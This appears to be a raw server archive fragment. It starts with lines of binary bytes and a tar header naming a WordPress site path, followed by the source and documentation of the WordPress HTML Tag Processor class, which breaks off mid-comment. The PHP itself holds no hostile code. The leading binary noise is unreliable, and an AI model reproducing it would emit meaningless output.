���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
